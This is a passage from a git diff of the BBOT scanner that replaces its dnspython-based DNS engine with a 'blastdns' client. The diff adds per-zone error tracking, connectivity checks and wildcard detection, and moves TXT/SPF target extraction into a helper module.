+                self.log.debug(f"Finished checking {host}:{rdtype}, it is not a wildcard")
+
+            self._wildcard_cache[host_hash] = (results, results_raw)
+            return results, results_raw
 
     def _wildcard_prevalidation(self, host):
         if self.wildcard_disable:
             return False
 
         host = clean_dns_record(host)
-        # skip check if it's an IP or a plain hostname
         if is_ip(host) or "." not in host:
             return False
-
-        # skip if query isn't a dns name
         if not is_dns_name(host):
             return False
 
-        # skip check if the query's parent domain is excluded in the config
         wildcard_ignore = self.wildcard_ignore.search(host)
         if wildcard_ignore:
-            log.debug(f"Skipping wildcard detection on {host} because {wildcard_ignore} is excluded in the config")
+            self.log.debug(
+                f"Skipping wildcard detection on {host} because {wildcard_ignore} is excluded in the config"
+            )
             return False
 
         return host
 
-    async def _mock_dns(self, mock_data, custom_lookup_fn=None):
-        from .mock import MockResolver
+    # ------------------------------------------------------------------
+    # Error tracking + connectivity
+    # ------------------------------------------------------------------
+
+    async def _is_aborted(self, query, rdtype):
+        """Check if queries for this parent zone + rdtype have been circuit-broken.
+
+        Only triggers on sustained timeouts (DNSError), not instant failures
+        like NXDOMAIN or SERVFAIL. When the threshold is hit, verifies
+        network connectivity first — if the network is down, clears error
+        counters instead of aborting (the zone might be fine).
+        """
+        parent = parent_domain(str(query))
+        parent_hash = hash((parent, rdtype))
+        error_count = self._errors.get(parent_hash, 0)
+        if error_count >= self.abort_threshold:
+            # before aborting, make sure our network is actually up
+            connectivity = await self._connectivity_check()
+            if not connectivity:
+                # network is down — don't blame the zone
+                self._errors.clear()
+                return False
+            if parent_hash not in self._dns_warnings:
+                self.log.info(
+                    f'Aborting {rdtype} queries to "{parent}" — '
+                    f"{error_count} consecutive errors exceeded threshold ({self.abort_threshold})"
+                )
+                self._dns_warnings[parent_hash] = True
+            return True
+        return False
+
+    def record_dns_error(self, query, rdtype):
+        """Bump the error counter for ``query``'s parent zone. Returns the new count."""
+        parent_hash = hash((parent_domain(str(query)), rdtype))
+        self._errors[parent_hash] = self._errors.get(parent_hash, 0) + 1
+        return self._errors[parent_hash]
+
+    def reset_dns_errors(self, query, rdtype):
+        parent_hash = hash((parent_domain(str(query)), rdtype))
+        if parent_hash in self._errors:
+            self._errors[parent_hash] = 0
+
+    @property
+    def dns_connectivity_lock(self):
+        if self._dns_connectivity_lock is None:
+            self._dns_connectivity_lock = asyncio.Lock()
+        return self._dns_connectivity_lock
+
+    async def _connectivity_check(self, interval=5):
+        """Confirm the network can reach DNS. Cached for ``interval`` seconds."""
+        if self._last_dns_success is not None and time.time() - self._last_dns_success < interval:
+            return True
+
+        async with self.dns_connectivity_lock:
+            with suppress(Exception):
+                answers = await self.blastdns.resolve("www.google.com", "A")
+                if answers:
+                    self._last_dns_success = time.time()
+                    return True
+
+        if time.time() - self._last_connectivity_warning > interval:
+            self.log.error("DNS queries are failing, please check your internet connection")
+            self._last_connectivity_warning = time.time()
+        self._errors.clear()
+        return False
+
+    # ------------------------------------------------------------------
+    # Brute / mock helpers
+    # ------------------------------------------------------------------
+
+    @property
+    def brute(self):
+        if self._brute is None:
+            from .brute import DNSBrute
+
+            self._brute = DNSBrute(self.parent_helper)
+        return self._brute
 
-        self.resolver = MockResolver(mock_data, custom_lookup_fn=custom_lookup_fn)
-        await self.run_and_return("_mock_dns", mock_data=mock_data, custom_lookup_fn=custom_lookup_fn)
+    async def _mock_dns(self, mock_data):
+        """Swap the underlying client for a ``MockClient`` configured with ``mock_data``."""
+        mock_client = MockClient()
+        mock_client.mock_dns(mock_data)
+        self.blastdns = mock_client
+
+    @staticmethod
+    def _empty_result(host=""):
+        """Build a minimal ``DNSResult`` with no answers, for use as a safe fallback."""
+        from blastdns.models import Header, Response
+
+        header = Header(
+            id=0,
+            message_type="Response",
+            op_code="Query",
+            authoritative=False,
+            truncation=False,
+            recursion_desired=True,
+            recursion_available=True,
+            authentic_data=False,
+            checking_disabled=False,
+            response_code="NoError",
+            query_count=0,
+            answer_count=0,
+            name_server_count=0,
+            additional_count=0,
+        )
+        return DNSResult(
+            host=host, response=Response(header=header, queries=[], answers=[], name_servers=[], additionals=[])
+        )
+
+    async def shutdown(self):
+        """No-op kept for API compatibility -- blastdns runs in-process, nothing to tear down."""
+        return None
+
+
+# Re-export for convenience
+__all__ = ["DNSHelper", "all_rdtypes", "extract_targets", "record_to_text"]
diff --git a/bbot/core/helpers/dns/engine.py b/bbot/core/helpers/dns/engine.py
deleted file mode 100644
index 1c98f9a9e3..0000000000
--- a/bbot/core/helpers/dns/engine.py
+++ /dev/null
@@ -1,663 +0,0 @@
-import os
-import dns
-import time
-import asyncio
-import logging
-import traceback
-from cachetools import LRUCache
-from contextlib import suppress
-
-from bbot.core.engine import EngineServer
-from bbot.core.helpers.async_helpers import NamedLock
-from bbot.core.helpers.dns.helpers import extract_targets
-from bbot.core.helpers.misc import (
-    is_ip,
-    rand_string,
-    parent_domain,
-    domain_parents,
-)
-
-
-log = logging.getLogger("bbot.core.helpers.dns.engine.server")
-
-all_rdtypes = ["A", "AAAA", "SRV", "MX", "NS", "SOA", "CNAME", "TXT"]
-
-
-class DNSEngine(EngineServer):
-    CMDS = {
-        0: "resolve",
-        1: "resolve_raw",
-        2: "resolve_batch",
-        3: "resolve_raw_batch",
-        4: "is_wildcard",
-        5: "is_wildcard_domain",
-        99: "_mock_dns",
-    }
-
-    def __init__(self, socket_path, config={}, debug=False):
-        super().__init__(socket_path, debug=debug)
-
-        self.config = config
-        self.dns_config = self.config.get("dns", {})
-        # config values
-        self.timeout = self.dns_config.get("timeout", 5)
-        self.retries = self.dns_config.get("retries", 1)
-        self.abort_threshold = self.dns_config.get("abort_threshold", 50)
-
-        # resolver
-        self.resolver = dns.asyncresolver.Resolver()
-        self.resolver.rotate = True
-        self.resolver.timeout = self.timeout
-        self.resolver.lifetime = self.timeout
-
-        # skip certain queries
-        dns_omit_queries = self.dns_config.get("omit_queries", None)
-        if not dns_omit_queries:
-            dns_omit_queries = []
-        self.dns_omit_queries = {}
-        for d in dns_omit_queries:
-            d = d.split(":")
-            if len(d) == 2:
-                rdtype, query = d
-                rdtype = rdtype.upper()
-                query = query.lower()
-                try:
-                    self.dns_omit_queries[rdtype].add(query)
-                except KeyError:
-                    self.dns_omit_queries[rdtype] = {query}
-
-        # wildcard handling
-        self.wildcard_ignore = self.dns_config.get("wildcard_ignore", None)
-        if not self.wildcard_ignore:
-            self.wildcard_ignore = []
-        self.wildcard_ignore = tuple([str(d).strip().lower() for d in self.wildcard_ignore])
-        self.wildcard_tests = self.dns_config.get("wildcard_tests", 5)
-        self._wildcard_cache = {}
-        # since wildcard detection takes some time, This is to prevent multiple
-        # modules from kicking off wildcard detection for the same domain at the same time
-        self._wildcard_lock = NamedLock()
-
-        self._dns_connectivity_lock = None
-        self._last_dns_success = None
-        self._last_connectivity_warning = time.time()
-        # keeps track of warnings issued for wildcard detection to prevent duplicate warnings
-        self._dns_warnings = set()
-        self._errors = {}
-        self._debug = self.dns_config.get("debug", False)
-        self._dns_cache = LRUCache(maxsize=10000)
-
-    async def resolve(self, query, **kwargs):
-        """Resolve DNS names and IP addresses to their corresponding results.
-
-        This is a high-level function that can translate a given domain name to its associated IP addresses
-        or an IP address to its corresponding domain names. It's structured for ease of use within modules
-        and will abstract away most of the complexity of DNS resolution, returning a simple set of results.
-
-        Args:
-            query (str): The domain name or IP address to resolve.
-            **kwargs: Additional arguments to be passed to the resolution process.
-
-        Returns:
-            set: A set containing resolved domain names or IP addresses.
-
-        Examples:
-            >>> results = await resolve("1.2.3.4")
-            {"evilcorp.com"}
-
-            >>> results = await resolve("evilcorp.com")
-            {"1.2.3.4", "dead::beef"}
-        """
-        results = set()
-        try:
-            answers, errors = await self.resolve_raw(query, **kwargs)
-            for answer in answers:
-                for _, host in extract_targets(answer):
-                    results.add(host)
-        except BaseException:
-            self.log.trace(f"Caught exception in resolve({query}, {kwargs}):")
-            self.log.trace(traceback.format_exc())
-            raise
-
-        self.debug(f"Results for {query} with kwargs={kwargs}: {results}")
-        return results
-
-    async def resolve_raw(self, query, **kwargs):
-        """Resolves the given query to its associated DNS records.
-
-        This function is a foundational method for DNS resolution in this class. It understands both IP addresses and
-        hostnames and returns their associated records in a raw format provided by the dnspython library.
-
-        Args:
-            query (str): The IP address or hostname to resolve.
-            type (str or list[str], optional): Specifies the DNS record type(s) to fetch. Can be a single type like 'A'
-                or a list like ['A', 'AAAA']. If set to 'any', 'all', or '*', it fetches all supported types. If not
-                specified, the function defaults to fetching 'A' and 'AAAA' records.
-            **kwargs: Additional arguments that might be passed to the resolver.
-
-        Returns:
-            tuple: A tuple containing two lists:
-                - list: A list of tuples where each tuple consists of a record type string (like 'A') and the associated
-                  raw dnspython answer.
-                - list: A list of tuples where each tuple consists of a record type string and the associated error if
-                  there was an issue fetching the record.
-
-        Examples:
-            >>> await resolve_raw("8.8.8.8")
-            ([('PTR', <dns.resolver.Answer object at 0x7f4a47cdb1d0>)], [])
-
-            >>> await resolve_raw("dns.google")
-            (<dns.resolver.Answer object at 0x7f4a47ce46d0>, [])
-        """
-        # DNS over TCP is more reliable
-        # But setting this breaks DNS resolution on Ubuntu because systemd-resolve doesn't support TCP
-        # kwargs["tcp"] = True
-        try:
-            query = str(query).strip()
-            kwargs.pop("rdtype", None)
-            rdtype = kwargs.pop("type", "A")
-            if is_ip(query):
-                return await self._resolve_ip(query, **kwargs)
-            else:
-                return await self._resolve_hostname(query, rdtype=rdtype, **kwargs)
-        except BaseException:
-            self.log.trace(f"Caught exception in resolve_raw({query}, {kwargs}):")
-            self.log.trace(traceback.format_exc())
-            raise
-
-    async def _resolve_hostname(self, query, **kwargs):
-        """Translate a hostname into its corresponding IP addresses.
-
-        This is the foundational function for converting a domain name into its associated IP addresses. It's designed
-        for internal use within the class and handles retries, caching, and a variety of error/timeout scenarios.
-        It also respects certain configurations that might ask to skip certain types of queries. Results are returned
-        in the default dnspython answer object format.
-
-        Args:
-            query (str): The hostname to resolve.
-            rdtype (str, optional): The type of DNS record to query (e.g., 'A', 'AAAA'). Defaults to 'A'.
-            retries (int, optional): The number of times to retry on failure. Defaults to class-wide `retries`.
-            use_cache (bool, optional): Whether to check the cache before trying a fresh resolution. Defaults to True.
-            **kwargs: Additional arguments that might be passed to the resolver.
-
-        Returns:
-            tuple: A tuple containing:
-                - list: A list of resolved IP addresses.
-                - list: A list of errors encountered during the resolution process.
-
-        Examples:
-            >>> results, errors = await _resolve_hostname("google.com")
-            (<dns.resolver.Answer object at 0x7f4a4b2caf50>, [])
-        """
-        self.debug(f"Resolving {query} with kwargs={kwargs}")
-        results = []
-        errors = []
-        rdtype = kwargs.get("rdtype", "A")
-
-        # skip certain queries if requested
-        if rdtype in self.dns_omit_queries:
-            if any(h == query or query.endswith(f".{h}") for h in self.dns_omit_queries[rdtype]):
-                self.debug(f"Skipping {rdtype}:{query} because it's omitted in the config")
-                return results, errors
-
-        parent = parent_domain(query)
-        retries = kwargs.pop("retries", self.retries)
-        use_cache = kwargs.pop("use_cache", True)
-        tries_left = int(retries) + 1
-        parent_hash = hash((parent, rdtype))
-        dns_cache_hash = hash((query, rdtype))
-        while tries_left > 0:
-            try:
-                if use_cache:
-                    results = self._dns_cache.get(dns_cache_hash, [])
-                if not results:
-                    error_count = self._errors.get(parent_hash, 0)
-                    if error_count >= self.abort_threshold:
-                        connectivity = await self._connectivity_check()
-                        if connectivity:
-                            self.log.verbose(
-                                f'Aborting query "{query}" because failed {rdtype} queries for "{parent}" ({error_count:,}) exceeded abort threshold ({self.abort_threshold:,})'
-                            )
-                            if parent_hash not in self._dns_warnings:
-                                self.log.verbose(
-                                    f'Aborting future {rdtype} queries to "{parent}" because error count ({error_count:,}) exceeded abort threshold ({self.abort_threshold:,})'
-                                )
-                            self._dns_warnings.add(parent_hash)
-                            return results, errors
-                    results = await self._catch(self.resolver.resolve, query, **kwargs)
-                    if use_cache:
-                        self._dns_cache[dns_cache_hash] = results
-                    if parent_hash in self._errors:
-                        self._errors[parent_hash] = 0
-                break
-            except (
-                dns.resolver.NoNameservers,
-                dns.exception.Timeout,
-                dns.resolver.LifetimeTimeout,
-                TimeoutError,
-                asyncio.exceptions.TimeoutError,
-            ) as e:
-                try:
-                    self._errors[parent_hash] += 1
-                except KeyError:
-                    self._errors[parent_hash] = 1
-                errors.append(e)
-                # don't retry if we get a SERVFAIL
-                if isinstance(e, dns.resolver.NoNameservers):
-                    break
-                tries_left -= 1
-                err_msg = (
-                    f'DNS error or timeout for {rdtype} query "{query}" ({self._errors[parent_hash]:,} so far): {e}'
-                )
-                if tries_left > 0:
-                    retry_num = (retries + 1) - tries_left
-                    self.debug(err_msg)
-                    self.debug(f"Retry (#{retry_num}) resolving {query} with kwargs={kwargs}")
-                else:
-                    self.log.verbose(err_msg)
-
-        if results:
-            self._last_dns_success = time.time()
-            self.debug(f"Answers for {query} with kwargs={kwargs}: {list(results)}")
-
-        if errors:
-            self.debug(f"Errors for {query} with kwargs={kwargs}: {errors}")
-
-        return results, errors
-
-    async def _resolve_ip(self, query, **kwargs):
-        """Translate an IP address into a corresponding DNS name.
-
-        This is the most basic function that will convert an IP address into its associated domain name. It handles
-        retries, caching, and multiple types of timeout/error scenarios internally. The function is intended for
-        internal use and should not be directly called by modules without understanding its intricacies.
-
-        Args:
-            query (str): The IP address to be reverse-resolved.
-            retries (int, optional): The number of times to retry on failure. Defaults to 0.
-            use_cache (bool, optional): Whether to check the cache for the result before attempting resolution. Defaults to True.
-            **kwargs: Additional arguments to be passed to the resolution process.
-
-        Returns:
-            tuple: A tuple containing:
-                - list: A list of resolved domain names (in default dnspython answer format).
-                - list: A list of errors encountered during resolution.
-
-        Examples:
-            >>> results, errors = await _resolve_ip("8.8.8.8")
-            (<dns.resolver.Answer object at 0x7f4a47cdb1d0>, [])
-        """
-        self.debug(f"Reverse-resolving {query} with kwargs={kwargs}")
-        retries = kwargs.pop("retries", 0)
-        use_cache = kwargs.pop("use_cache", True)
-        tries_left = int(retries) + 1
-        results = []
-        errors = []
-        dns_cache_hash = hash((query, "PTR"))
-        while tries_left > 0:
-            try:
-                if use_cache:
-                    results = self._dns_cache.get(dns_cache_hash, [])
-                if not results:
-                    results = await self._catch(self.resolver.resolve_address, query, **kwargs)
-                    if use_cache:
-                        self._dns_cache[dns_cache_hash] = results
-                break
-            except (
-                dns.resolver.NoNameservers,
-                dns.exception.Timeout,
-                dns.resolver.LifetimeTimeout,
-                TimeoutError,
-                asyncio.exceptions.TimeoutError,
-            ) as e:
-                errors.append(e)
-                # don't retry if we get a SERVFAIL
-                if isinstance(e, dns.resolver.NoNameservers):
-                    self.debug(f"{e} (query={query}, kwargs={kwargs})")
-                    break
-                else:
-                    tries_left -= 1
-                    if tries_left > 0:
-                        retry_num = (retries + 2) - tries_left
-                        self.debug(f"Retrying (#{retry_num}) {query} with kwargs={kwargs}")
-
-        if results:
-            self._last_dns_success = time.time()
-
-        return results, errors
-
-    async def resolve_batch(self, queries, threads=10, **kwargs):
-        """
-        A helper to execute a bunch of DNS requests.
-
-        Args:
-            queries (list): List of queries to resolve.
-            **kwargs: Additional keyword arguments to pass to `resolve()`.
-
-        Yields:
-            tuple: A tuple containing the original query and its resolved value.
-
-        Examples:
-            >>> import asyncio
-            >>> async def example_usage():
-            ...     async for result in resolve_batch(['www.evilcorp.com', 'evilcorp.com']):
-            ...         print(result)
-            ('www.evilcorp.com', {'1.1.1.1'})
-            ('evilcorp.com', {'2.2.2.2'})
-        """
-        async for (args, _, _), responses in self.task_pool(
-            self.resolve, args_kwargs=queries, threads=threads, global_kwargs=kwargs
-        ):
-            yield args[0], responses
-
-    async def resolve_raw_batch(self, queries, threads=10, **kwargs):
-        queries_kwargs = [[q[0], {"type": q[1]}] for q in queries]
-        async for (args, kwargs, _), (answers, errors) in self.task_pool(
-            self.resolve_raw, args_kwargs=queries_kwargs, threads=threads, global_kwargs=kwargs
-        ):
-            query = args[0]
-            rdtype = kwargs["type"]
-            yield ((query, rdtype), (answers, errors))
-
-    async def _catch(self, callback, *args, **kwargs):
-        """
-        Asynchronously catches exceptions thrown during DNS resolution and logs them.
-
-        This method wraps around a given asynchronous callback function to handle different
-        types of DNS exceptions and general exceptions. It logs the exceptions for debugging
-        and, in some cases, re-raises them.
-
-        Args:
-            callback (callable): The asynchronous function to be executed.
-            *args: Positional arguments to pass to the callback.
-            **kwargs: Keyword arguments to pass to the callback.
-
-        Returns:
-            Any: The return value of the callback function, or an empty list if an exception is caught.
-
-        Raises:
-            dns.resolver.NoNameservers: When no nameservers could be reached.
-        """
-        try:
-            return await callback(*args, **kwargs)
-        except dns.resolver.NoNameservers:
-            raise
-        except (dns.exception.Timeout, dns.resolver.LifetimeTimeout, TimeoutError):
-            self.log.debug(f"DNS query with args={args}, kwargs={kwargs} timed out after {self.timeout} seconds")
-            raise
-        except dns.exception.DNSException as e:
-            self.debug(f"{e} (args={args}, kwargs={kwargs})")
-        except Exception as e:
-            self.log.warning(f"Error in {callback.__qualname__}() with args={args}, kwargs={kwargs}: {e}")
-            self.log.trace(traceback.format_exc())
-        return []
-
-    async def is_wildcard(self, query, rdtypes, raw_dns_records=None):
-        """
-        Use this method to check whether a *host* is a wildcard entry
-
-        This can reliably tell the difference between a valid DNS record and a wildcard within a wildcard domain.
-
-        It works by making a bunch of random DNS queries to the parent domain, compiling a list of wildcard IPs,
-        then comparing those to the IPs of the host in question. If the host's IP matches the wildcard ones, it's a wildcard.
-
-        If you want to know whether a domain is using wildcard DNS, use `is_wildcard_domain()` instead.
-
-        Args:
-            query (str): The hostname to check for a wildcard entry.
-            rdtypes (list): The DNS record type (e.g., "A", "AAAA") to consider during the check.
-            raw_dns_records (dict, optional): Dictionary of {rdtype: [answer1, answer2, ...], ...} containing raw dnspython answers for the query.
-
-        Returns:
-            dict: A dictionary indicating if the query is a wildcard for each checked DNS record type.
-                Keys are DNS record types like "A", "AAAA", etc.
-                Values are tuples where the first element is a boolean indicating if the query is a wildcard,
-                and the second element is the wildcard parent if it's a wildcard.
-
-        Examples:
-            >>> is_wildcard("www.github.io", rdtypes=["A", "AAAA", "MX"])
-            {"A": (True, "github.io"), "AAAA": (True, "github.io"), "MX": (False, "github.io")}
-
-            >>> is_wildcard("www.evilcorp.com", rdtypes=["A"])
-            {"A": (False, "evilcorp.com")}
-
-        Note:
-            `is_wildcard` can be True, False, or None (indicating that wildcard detection was inconclusive)
-        """
-        if isinstance(rdtypes, str):
-            rdtypes = [rdtypes]
-
-        result = {}
-
-        # if the work of resolving hasn't been done yet, do it
-        if raw_dns_records is None:
-            raw_dns_records = {}
-            queries = [(query, rdtype) for rdtype in rdtypes]
-            async for (_, rdtype), (answers, errors) in self.resolve_raw_batch(queries):
-                if answers:
-                    for answer in answers:
-                        try:
-                            raw_dns_records[rdtype].add(answer)
-                        except KeyError:
-                            raw_dns_records[rdtype] = {answer}
-                else:
-                    if errors:
-                        self.debug(f"Failed to resolve {query} ({rdtype}) during wildcard detection")
-                        result[rdtype] = ("ERROR", query)
-
-        # clean + process the raw records into a baseline
-        baseline = {}
-        baseline_raw = {}
-        for rdtype, answers in raw_dns_records.items():
-            for answer in answers:
-                text_answer = answer.to_text()
-                try:
-                    baseline_raw[rdtype].add(text_answer)
-                except KeyError:
-                    baseline_raw[rdtype] = {text_answer}
-                for _, host in extract_targets(answer):
-                    try:
-                        baseline[rdtype].add(host)
-                    except KeyError:
-                        baseline[rdtype] = {host}
-
-        # if it's unresolved, it's a big nope
-        if not raw_dns_records:
-            return result
-
-        # once we've resolved the base query and have IP addresses to work with
-        # we can compare the IPs to the ones we have on file for wildcards
-
-        # only bother to check the rdypes that actually resolve
-        rdtypes_to_check = set(raw_dns_records)
-
-        # for every parent domain, starting with the shortest
-        parents = list(domain_parents(query))
-        for parent in parents[::-1]:
-            # check if the parent domain is set up with wildcards
-            wildcard_results = await self.is_wildcard_domain(parent, rdtypes_to_check)
-
-            # for every rdtype
-            for rdtype in list(baseline_raw):
-                # skip if we already found a wildcard for this rdtype
-                if rdtype in result:
-                    continue
-
-                # get our baseline IPs from above
-                _baseline = baseline.get(rdtype, set())
-                _baseline_raw = baseline_raw.get(rdtype, set())
-
-                wildcard_rdtypes = wildcard_results.get(parent, {})
-                wildcards = wildcard_rdtypes.get(rdtype, None)
-                if wildcards is None:
-                    continue
-                wildcards, wildcard_raw = wildcards
-
-                if wildcard_raw:
-                    # skip this rdtype from now on
-                    rdtypes_to_check.remove(rdtype)
-
-                    # check if any of our baseline IPs are in the wildcard results
-                    is_wildcard = any(r in wildcards for r in _baseline)
-                    is_wildcard_raw = any(r in wildcard_raw for r in _baseline_raw)
-
-                    # if there are any matches, we have a wildcard
-                    if is_wildcard or is_wildcard_raw:
-                        result[rdtype] = (True, parent)
-                    else:
-                        # otherwise, it's still suspicious, because we had random stuff resolve at this level
-                        result[rdtype] = ("POSSIBLE", parent)
-
-        # any rdtype that wasn't a wildcard, mark it as False
-        for rdtype, answers in baseline_raw.items():
-            if answers and rdtype not in result:
-                result[rdtype] = (False, query)
-
-        return result
-
-    async def is_wildcard_domain(self, domain, rdtypes):
-        """
-        Check whether a given host or its children make use of wildcard DNS entries. Wildcard DNS can have
-        various implications, particularly in subdomain enumeration and subdomain takeovers.
-
-        Args:
-            domain (str): The domain to check for wildcard DNS entries.
-            rdtypes (list): Which DNS record types to check.
-
-        Returns:
-            dict: A dictionary where the keys are the parent domains that have wildcard DNS entries,
-            and the values are another dictionary of DNS record types ("A", "AAAA", etc.) mapped to
-            sets of their resolved IP addresses.
-
-        Examples:
-            >>> is_wildcard_domain("github.io")
-            {"github.io": {"A": {"1.2.3.4"}, "AAAA": {"dead::beef"}}}
-
-            >>> is_wildcard_domain("example.com")
-            {}
-        """
-        if isinstance(rdtypes, str):
-            rdtypes = [rdtypes]
-        rdtypes = set(rdtypes)
-
-        wildcard_results = {}
-        # make a list of its parents
-        parents = list(domain_parents(domain, include_self=True))
-        # and check each of them, beginning with the highest parent (i.e. the root domain)
-        for i, host in enumerate(parents[::-1]):
-            host_results = {}
-            queries = [((host, rdtype), {}) for rdtype in rdtypes]
-            async for ((_, rdtype), _, _), (results, results_raw) in self.task_pool(
-                self._is_wildcard_zone, args_kwargs=queries
-            ):
-                # if we hit a wildcard, we can skip this rdtype from now on
-                if results_raw:
-                    rdtypes.remove(rdtype)
-                    host_results[rdtype] = results, results_raw
-
-            if host_results:
-                wildcard_results[host] = host_results
-
-        return wildcard_results
-
-    async def _is_wildcard_zone(self, host, rdtype):
-        """
-        Check whether a specific DNS zone+rdtype has a wildcard configuration
-        """
-        rdtype = rdtype.upper()
-
-        # have we checked this host before?
-        host_hash = hash((host, rdtype))
-        async with self._wildcard_lock.lock(host_hash):
-            # if we've seen this host before
-            try:
-                wildcard_results, wildcard_results_raw = self._wildcard_cache[host_hash]
-                self.debug(f"Got {host}:{rdtype} from cache")
-            except KeyError:
-                wildcard_results = set()
-                wildcard_results_raw = set()
-                self.debug(f"Checking if {host}:{rdtype} is a wildcard")
-
-                # determine if this is a wildcard domain
-                # resolve a bunch of random subdomains of the same parent
-                rand_queries = []
-                for _ in range(self.wildcard_tests):
-                    rand_query = f"{rand_string(digits=False, length=10)}.{host}"
-                    rand_queries.append((rand_query, rdtype))
-
-                async for (query, rdtype), (answers, errors) in self.resolve_raw_batch(rand_queries, use_cache=False):
-                    for answer in answers:
-                        # consider both the raw record
-                        wildcard_results_raw.add(answer.to_text())
-                        # and all the extracted hosts
-                        for _, t in extract_targets(answer):
-                            wildcard_results.add(t)
-
-                if wildcard_results:
-                    self.log.info(f"Encountered domain with wildcard DNS ({rdtype}): *.{host}")
-                else:
-                    self.debug(f"Finished checking {host}:{rdtype}, it is not a wildcard")
-                self._wildcard_cache[host_hash] = wildcard_results, wildcard_results_raw
-
-        return wildcard_results, wildcard_results_raw
-
-    async def _is_wildcard(self, query, rdtypes, dns_children):
-        if isinstance(rdtypes, str):
-            rdtypes = [rdtypes]
-
-    @property
-    def dns_connectivity_lock(self):
-        if self._dns_connectivity_lock is None:
-            self._dns_connectivity_lock = asyncio.Lock()
-        return self._dns_connectivity_lock
-
-    async def _connectivity_check(self, interval=5):
-        """
-        Periodically checks for an active internet connection by attempting DNS resolution.
-
-        Args:
-            interval (int, optional): The time interval, in seconds, at which to perform the check.
-            Defaults to 5 seconds.
-
-        Returns:
-            bool: True if there is an active internet connection, False otherwise.
-
-        Examples:
-            >>> await _connectivity_check()
-            True
-        """
-        if self._last_dns_success is not None:
-            if time.time() - self._last_dns_success < interval:
-                return True
-        dns_server_working = []
-        async with self.dns_connectivity_lock:
-            with suppress(Exception):
-                dns_server_working = await self._catch(self.resolver.resolve, "www.google.com", rdtype="A")
-                if dns_server_working:
-                    self._last_dns_success = time.time()
-                    return True
-        if time.time() - self._last_connectivity_warning > interval:
-            self.log.warning("DNS queries are failing, please check your internet connection")
-            self._last_connectivity_warning = time.time()
-        self._errors.clear()
-        return False
-
-    def debug(self, *args, **kwargs):
-        if self._debug:
-            self.log.trace(*args, **kwargs)
-
-    @property
-    def in_tests(self):
-        return os.getenv("BBOT_TESTING", "") == "True"
-
-    async def _mock_dns(self, mock_data, custom_lookup_fn=None):
-        from .mock import MockResolver
-
-        def deserialize_function(func_source):
-            assert self.in_tests, "Can only mock when BBOT_TESTING=True"
-            if func_source is None:
-                return None
-            namespace = {}
-            exec(func_source, {}, namespace)
-            return namespace["custom_lookup"]
-
-        self.resolver = MockResolver(mock_data, custom_lookup_fn=deserialize_function(custom_lookup_fn))
diff --git a/bbot/core/helpers/dns/helpers.py b/bbot/core/helpers/dns/helpers.py
index 340af5a425..d741ea3f36 100644
--- a/bbot/core/helpers/dns/helpers.py
+++ b/bbot/core/helpers/dns/helpers.py
@@ -1,11 +1,83 @@
 import logging
 
-from bbot.core.helpers.regexes import dns_name_extraction_regex
-from bbot.core.helpers.misc import clean_dns_record, smart_decode
+from bbot.core.helpers.regexes import (
+    dns_name_extraction_regex,
+    ip_range_regexes,
+    ipv4_regex,
+    ipv6_regex,
+    spf_ip_mechanism_regex,
+)
+from bbot.core.helpers.misc import clean_dns_record
 
 log = logging.getLogger("bbot.core.helpers.dns")
 
 
+# Default rdtypes BBOT cares about during recursive resolution
+all_rdtypes = ["A", "AAAA", "SRV", "MX", "NS", "SOA", "CNAME", "TXT"]
+
+
+def extract_targets(record):
+    """Hostnames/IPs worth following from a blastdns ``Record``.
+
+    For structured rdata (A/AAAA/CNAME/NS/PTR/MX/SOA/SRV/etc), blastdns has
+    already extracted the embedded names in Rust -- we just hand those back.
+
+    For TXT records we additionally apply a hostname regex to the text content,
+    since SPF / DKIM / similar TXT payloads commonly embed hostnames. SPF records
+    (v=spf1) also get the IPs and CIDR ranges from their ip4:/ip6: mechanisms
+    extracted; SPF macros are skipped since they are evaluation-time templates,
+    not literal targets. That regex extraction is BBOT-specific and stays here.
+    """
+    results = set()
+    for rdtype, host in record.extract_targets():
+        cleaned = clean_dns_record(host)
+        if cleaned:
+            results.add((rdtype, cleaned))
+
+    # TXT: pull additional targets out of the free-form text content
+    is_txt = "TXT" in record.rdata
+    if is_txt:
+        text = record.to_text()
+        if "v=spf1" in text.lower():
+            # SPF (RFC 7208): ip4:/ip6: mechanisms embed IPs and CIDR ranges
+            for token in text.split():
+                # macros (e.g. "exists:%{i}.evilcorp.com") are evaluation-time templates
+                if "%" in token:
+                    continue
+                mechanism = spf_ip_mechanism_regex.match(token)
+                if mechanism:
+                    value = token[mechanism.end() :]
+                    if (
+                        any(r.fullmatch(value) for r in ip_range_regexes)
+                        or ipv4_regex.fullmatch(value)
+                        or ipv6_regex.fullmatch(value)
+                    ):
+                        results.add(("TXT", value))
+                    continue
+                # hostnames, e.g. "include:cloudprovider.com", "redirect=_spf.example.com"
+                for match in dns_name_extraction_regex.finditer(token):
+                    cleaned = clean_dns_record(token[match.start() : match.end()])
+                    if cleaned:
+                        results.add(("TXT", cleaned))
+        else:
+            # non-SPF TXT (DKIM, verification strings, etc.): hostnames only
+            for match in dns_name_extraction_regex.finditer(text):
+                cleaned = clean_dns_record(text[match.start() : match.end()])
+                if cleaned:
+                    results.add(("TXT", cleaned))
+
+    return results
+
+
+def record_to_text(record):
+    """Presentation-format text for a blastdns ``Record``.
+
+    Equivalent to dnspython's ``answer.to_text()``. blastdns produces this on
+    the Rust side via hickory's ``Display`` impl, so this is a thin pass-through.
+    """
+    return record.to_text()
+
+
 # the following are the result of a 1-day internet survey to find the top SRV records
 # the scan resulted in 36,282 SRV records. the count for each one is shown.
 common_srvs = [
@@ -154,61 +226,6 @@
 ]
 
 
-def extract_targets(record):
-    """
-    Extracts hostnames or IP addresses from a given DNS record.
-
-    This method reads the DNS record's type and based on that, extracts the target
-    hostnames or IP addresses it points to. The type of DNS record
-    (e.g., "A", "MX", "CNAME", etc.) determines which fields are used for extraction.
-
-    Args:
-        record (dns.rdata.Rdata): The DNS record to extract information from.
-
-    Returns:
-        set: A set of tuples, each containing the DNS record type and the extracted value.
-
-    Examples:
-        >>> from dns.rrset import from_text
-        >>> record = from_text('www.example.com', 3600, 'IN', 'A', '192.0.2.1')
-        >>> extract_targets(record[0])
-        {('A', '192.0.2.1')}
-
-        >>> record = from_text('example.com', 3600, 'IN', 'MX', '10 mail.example.com.')
-        >>> extract_targets(record[0])
-        {('MX', 'mail.example.com')}
-
-    """
-    results = set()
-
-    def add_result(rdtype, _record):
-        cleaned = clean_dns_record(_record)
-        if cleaned:
-            results.add((rdtype, cleaned))
-
-    rdtype = str(record.rdtype.name).upper()
-    if rdtype in ("A", "AAAA", "NS", "CNAME", "PTR"):
-        add_result(rdtype, record)
-    elif rdtype == "SOA":
-        add_result(rdtype, record.mname)
-    elif rdtype == "MX":
